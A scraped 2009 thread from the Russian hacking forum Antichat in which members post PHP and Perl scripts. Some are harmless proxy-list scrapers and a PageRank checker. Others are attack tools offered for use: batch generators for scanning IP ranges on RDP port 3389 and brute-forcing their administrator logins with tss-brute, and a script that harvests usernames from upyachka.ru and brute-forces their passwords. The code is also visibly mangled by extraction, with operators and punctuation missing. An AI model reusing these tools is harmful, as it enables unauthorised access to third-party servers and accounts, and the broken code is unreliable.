ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #621  
Старый 12.02.2009, 21:56
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

ыыыыы, а так?

PHP код:
<Pre>
<? 
@set_time_limit(0); 
@
ini_set("display_errors","1");

$kol 1// Кол-во страниц
if ($kol<10$kol="0$kol";
While (
$i<=$kol) {
$i++;

  
$file file_get_contents('http://www.samair.ru/proxy/proxy-' .$kol'.htm') ;   
  
preg_match_all('/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\:[0-9]+)/is'$file$out);  
  foreach(
$out[0] as $line
     { 
     echo 
"$line\n"
     } 
}    
?>
</pre>

Последний раз редактировалось Pashkela; 12.02.2009 в 22:04..
 

  #622  
Старый 12.02.2009, 22:46
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
По умолчанию

Pashkela я новичок в коддинге
Можно в принципе и так,но скорость работы же не увеличивается...
 

  #623  
Старый 12.02.2009, 23:08
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Да нет, всё нормально, просто тут продвинутый сайт бол-мен, по этому принято обычно выкладывать действительно полезные скрипты, а не какие-то свои первые наработки. Без обид.
 

Граббер HTTP proxy с ProxyFire.net
  #624  
Старый 12.02.2009, 23:14
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
Thumbs up Граббер HTTP proxy с ProxyFire.net

Вот еще только что написал один граббер для имхо хорошоге сайта с проксями(ProxyFire.net)
PHP код:
<?
//c0ded by Gaus//
echo "<b>HTTP elite</b><br>";
$file file_get_contents('http://www.proxyfire.net/index.php?pageid=eliteproxylist') ; 
preg_match_all('/<tr ><td>(.*?)\&#8423\;<\/td><td>(.*?)<\/td><td>/'$file$out); 

foreach(
$out[0] as $line)
     {
list(
$ip,$port) = explode("⃧"rtrim($line));
print 
$ip.":".$port."<br>";
     }
echo 
"<b>HTTP anon.</b><br>";
$file file_get_contents('http://www.proxyfire.net/index.php?pageid=anonymousproxylist') ; 
preg_match_all('/<tr ><td>(.*?)\&#8423\;<\/td><td>(.*?)<\/td><td>/'$file$out); 

foreach(
$out[0] as $line)
     {
list(
$ip,$port) = explode("⃧"rtrim($line));
print 
$ip.":".$port."<br>";
     }
?>

Последний раз редактировалось Gaus; 18.02.2009 в 21:45..
 

Граббер SOCKS с ProxyFire.net
  #625  
Старый 12.02.2009, 23:33
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
Thumbs up Граббер SOCKS с ProxyFire.net

Граббер SOCKS с ProxyFire.net

PHP код:
<?
//c0ded by Gaus//
echo "<b>SOCKS4</b><br>";
$file file_get_contents('http://www.proxyfire.net/index.php?pageid=socks4proxylist') ; 
preg_match_all('/<tr ><td>(.*?)\&#8423\;<\/td><td>(.*?)<\/td><td>/'$file$out); 

foreach(
$out[0] as $line)
     {
list(
$ip,$port) = explode("⃧"rtrim($line));
print 
$ip.":".$port."<br>";
     }
echo 
"<b>SOCKS5</b><br>";
$file file_get_contents('http://www.proxyfire.net/index.php?pageid=socks5proxylist') ; 
preg_match_all('/<tr ><td>(.*?)\&#8423\;<\/td><td>(.*?)<\/td><td>/'$file$out); 

foreach(
$out[0] as $line)
     {
list(
$ip,$port) = explode("⃧"rtrim($line));
print 
$ip.":".$port."<br>";
     }
?>

Последний раз редактировалось Gaus; 18.02.2009 в 21:38..
 

  #626  
Старый 12.02.2009, 23:45
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

универсальний граббер ір'шек.
(можно использовать для граббинга прокси/сокси/..)

@proxy_serv - масив с сайтами. можна добавить и свой)

perl:
PHP код:
use IO::Socket;

# eLwaux
# iCQ 7434214
print q[
 
proxy grabber
 
..eLwaux(c)2009
 
]."\n";
 
#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-

my $print_proxy 0;
my $result_file 'proxy.txt';
my @proxy_serv  = (
    
'http://http.proxylife.org/index.php?sort=down_speed&sortby=desc',
    
'http://www.samair.ru/proxy/index.html',
    
'http://proxy.asechka.ru/index.php?page=proxylist',
    
'http://madnet.name/tools/proxy/index.php');

#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-

my $all_pr 0;

foreach 
my $proxy_s(@proxy_serv) {
    
my ($host) = ($proxy_s=~'http://([\w\.]+)/.*');
    print 
'  -- '.$host."\n";
    
    
$re POST($proxy_s);
    
    @
ips split(/\n/,ip_parce($re));
    
$all_pr+=scalar(@ips);
    
    foreach 
my $ip(@ips){
        print 
'     '.$ip."\n" if ($print_proxy==1);
        
s2f($result_file,$ip."\n");
        }
    
    print 
'     get '.scalar(@ips)." proxy\n\n";    
}

print 
' get: '.$all_pr.' proxy';

<
stdin>;
exit;

#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-

sub ip_parce #list
    
my $result;
    
my $ips $_[0];
    while (
$ips=~/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):{0,}(\d{1,5}){0,}/) {
        
my ($ip,$port)=($1,$2);
        
$port '8080' if ($port eq '');
        
$result.="$ip:$port\n";
        
substr($ips,0,index($ips,$ip)+length($ip))='';
    }
    return 
$result;
}

sub POST {#url
    
my $url  $_[0];
    if (
$url =~ 'http://([\w\.]+)/.*') {$host=$1};
    
    
$header  "POST ".$url." HTTP/1.1\r\n".
           
"Host: ".$host."\r\n".
           
"Content-Length: 0\r\n\r\n".
           
"\r\n\r\n";
    
my $sock sock($host);
    print 
$sock $header;
    while (
my $a = <$sock>) {if($a=~/<.html>/){last;} else {$answ.=$a;}}
    
#sysread($sock,$answ,100000);
    
close($sock);
    
    return 
$answ;
}

# create socket
sub sock {#host
    
my $sock;
    do {
        
$sock = new IO::Socket::INET 
            
(    PeerAddr => $_[0],
                   
PeerPort => 80
                   
PeerProto => 'tcp'
                   
TimeOut => 10);
        } while (!
$sock);
    return 
$sock;
}

# save file
sub s2f {# filename, text
    
open(FILE'>>'.$_[0]);                                
    
flock(FILELOCK_EX);#lock file
    
print FILE $_[1];
    
flock(FILELOCK_UN);#unlock file
    
close(FILE);
}

# read file
sub r2f #filename
    
open(DESC$_[0]);
    
read(DESC,my $result,-s $_[0]);
    
close(DESC);
    return 
$result;

 

  #627  
Старый 12.02.2009, 23:51
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

моя маленькая утилита для брута дедов.
на входе 3389.txt
на виходе "! VNC.bat".

в скрипте можно изменить:
$VNC = 'программа';
$port = 'порт';
$thread = 'потоков';

в результате будет создан файл $VNC с содержимим:
$VNC -i 1.2.3.4-5.6.7.8 -p $port -cT -T $thread
пример:
VNC.exe -i 195.79.127.104-195.79.127.111 -p 3389 -cT -T 2000


PHP код:
use Fcntl ':flock';

$VNC 'VNC.exe';
$port '3389';
$thread '2000';

my $m '';
open myFILE"<3389.txt" or die $!;
while (<
myFILE>) {
    @
c  split(/\s/,$_);
    
$m $VNC.' -i '.@c[0].'-'.@c[1].' -p '.$port.' -cT -T '.$thread;

    
open(FILE'>>! VNC.bat') || die(" [-] could not save file!\n");                                
    
flock(FILELOCK_EX);
    print 
FILE $m."\n";
    
flock(FILELOCK_UN);
    
close(FILE);
    
    }
close myFILE
 

  #628  
Старый 12.02.2009, 23:56
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

после брута ір с помощью VNC.exe прога создает VNC_bypauth.txt, в котором много нужних вам ір вида "195.80.10.131 :3389 ".

етот скрипт витягивает из VNC_bypauth.txt ір, и формирует готовий .bat файл для брута дедов "! GO.bat" tss-brute'ом.

в скрипте изменяем:
$tss = 'полний путь до tss-brute';
$pass = 'полний путь до словаря с паролями';
$fold = 'папка для врем файлов//';
$port = ':порт';
$file = 'VNC_bypauth.txt';

в результате будет что-то типа:
Код:
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.131 >>res//195.80.10.131
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.107 >>res//195.80.10.107
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.11.26 >>res//195.80.11.26
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.13.243 >>res//195.80.13.243
PHP код:
#eLwaux
use Fcntl ':flock';

$tss  'D:\Sorted\ded\4\tss-brute.exe';
$pass 'D:\Sorted\ded\4\pass.txt';
$fold 'res//';
$port ':3389';
$file 'VNC_bypauth.txt';

my $m '';

open(DESC$file);
read(DESC,$res,-s $file);
close(DESC);

while (
$res ne '') {
    if (
$res=~/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+$port/){
        (
$ip)=$1;
        print 
$ip."\n";
            
open(FILE'>>! GO.bat') || die(" [-] could not save file!\n");                                
            
flock(FILELOCK_EX);
            print 
FILE '"'.$tss.'" -w "'.$pass.'"-u administrator '.$ip.' >>'.$fold.$ip."\n";
            
flock(FILELOCK_UN);
            
close(FILE);
        
$res substr($resindex($res,$ip)+length($ip), length($res));
        }  else {
$res='';}
    }
#eLwaux 
 

  #629  
Старый 12.02.2009, 23:58
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

PR, тиЦ чекер на perl'e через сайт www.pr-cy.ru

pr-tic.pl сервер
сервер по умолчанию - google.com

PHP код:
#! /usr/bin/perl -eLwaux

use IO::Socket;
use 
warnings;

my $site $ARGV[0] || 'google.com';


$header  "POST http://www.pr-cy.ru/analysis/?url=".$site." HTTP/1.1\r\n".
       
"Host: pr-cy.ru\r\n".
       
"User-Agent: eL!\r\n".
       
"Content-Type: application/x-www-form-urlencoded\r\n".
       
"Connection: Close\r\n".
       
"Content-Length: 0\r\n\r\n".
       
"\r\n\r\n";

my $sock sock();
print 
$sock $header;

#my $answ = '';
#my $answer = '';
#while($answer = <$sock>){$answ .= $answer;}
read($sock,my $answ,100000);    


print 
cyr("\n ".$site."\n\n");

# заголовок
if (($answ)=~/<class="grey">Заголовок:<\/b>(.*)<br \/>/) {
    print 
cyr(' Заголовок: '.$1."\n"
    }
    
# ip
if (($answ)=~/<class="grey">IP:<\/b> (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\s+/) {
    print 
cyr(' IP: '."$1.$2.$3.$4"."\n")
    }
    

# тиЦ
if (($answ)=~/Яндекс тИЦ<\/td>[\s|\t]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
    print 
cyr(' тИЦ : '.$1."\n");
    }
    
# PR
if (($answ)=~/PageRank<\/td>[\s|\t|\n]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
    print 
cyr(' PageRank : '.$1."\n");
    }

<
stdin>;
exit;


close($sock);
<
stdin>;
            
            
#create new socket connection
sub sock {
    
my $sock;
    do {
        
$sock = new IO::Socket::INET 
            
(
                
PeerAddr => 'pr-cy.ru',
                   
PeerPort => 80
                   
PeerProto => 'tcp'
                   
TimeOut => 10
            
) or print "[-] connection error!";
        } while (!
$sock);
    return 
$sock;
}


sub cyr {
    
$phrase shift;
    
$phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
    return 
$phrase;
    }


#=============================================================================
#============================================================================= 
 

  #630  
Старый 13.02.2009, 00:04
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

месяц назад многие из "болталки" просили инвайт на upyachka.ru.
вот мой брутер

пароли в pass.txt кладем

perl:
PHP код:
#=============================================================================
#=============================================================================

use IO::Socket;

sub up{#num
$header  "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
       
"Host: upyachka.ru\r\n".
       
"User-Agent: upyachka\r\n".
       
"Content-Type: application/x-www-form-urlencoded\r\n".
       
"Connection: Close\r\n".
       
"Content-Length: 0\r\n\r\n".
       
"\r\n\r\n";

my $sock sock();
print 
$sock $header;

my $res '';
my $answer '';
while(
$answer = <$sock>){$res .= $answer;}

close($sock);
return 
$res;
}



sub login{#name,pass
my $post 'login='.$_[0].'&pass='.$_[1].'&submit=Йаррр!';
my $header  "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
       
"Host: upyachka.ru\r\n".
       
"User-Agent: upyachka\r\n".
       
"Content-Type: application/x-www-form-urlencoded\r\n".
       
"Connection: Close\r\n".
       
"Content-Length: ".length($post)."\r\n\r\n".
       
"$post\r\n\r\n";

my $sock sock();
print 
$sock $header;

my $res '';
my $answer '';
while(
$answer = <$sock>){$res .= $answer;}
if (
$res =~ /<input name=.logintype=.textvalue=..><br>/) {print '-'.cyr($_[0]).':'.cyr($_[1])."\n";} else
{print 
'+++++++'.cyr($_[0]).':'.cyr($_[1])."\n";}
close($sock);
return 
$res;
}



my @u;

for (
$i=1;$i<15;$i++){
print 
$i."...\n";
$res up($i);
while(
length($res)>1) {
    
$b 0;
    
    
$res =~ /<SPAN class=.user.logoutnoinfo=.true.>(\W+|\w+)<\/SPANнаписал/;
    
$res=substr($res,index($res,$1.'</SPAN> нап')+length($1.'</SPAN> нап'),length($res));

    foreach 
my $xx(@u) {if ($xx eq $1) {$b=1;} else {$b=0;}}
    @
u[scalar(@u)]=$if ($b==0);
}
}


print 
'getted: '.scalar(@u).' names..'."\n";
print 
"brute:\n";

##brute

 
open (FILE'<pass.txt');
 
my @pass shared = <FILE>;
 
chomp(@pass);
 
close(FILE);

foreach 
my $xx(@u) {
    foreach 
my $ps(@pass){    
        
login($xx,$ps);
        }
    
login($xx,$xx);
    }
    

    
    
<
stdin>;

#=============================================================================
#=============================================================================

     
#create new socket connection
sub sock {
    
my $sock;
    do {
        
$sock = new IO::Socket::INET 
            
(
                
PeerAddr => 'upyachka.ru',
                   
PeerPort => 80
                   
PeerProto => 'tcp'
                   
TimeOut => 10
            
) or print "[-] connection error!";
        } while (!
$sock);
    return 
$sock;
}


sub cyr
{
    
$phrase shift;
    
$phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
    return 
$phrase;
}

#=============================================================================
#============================================================================= 
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ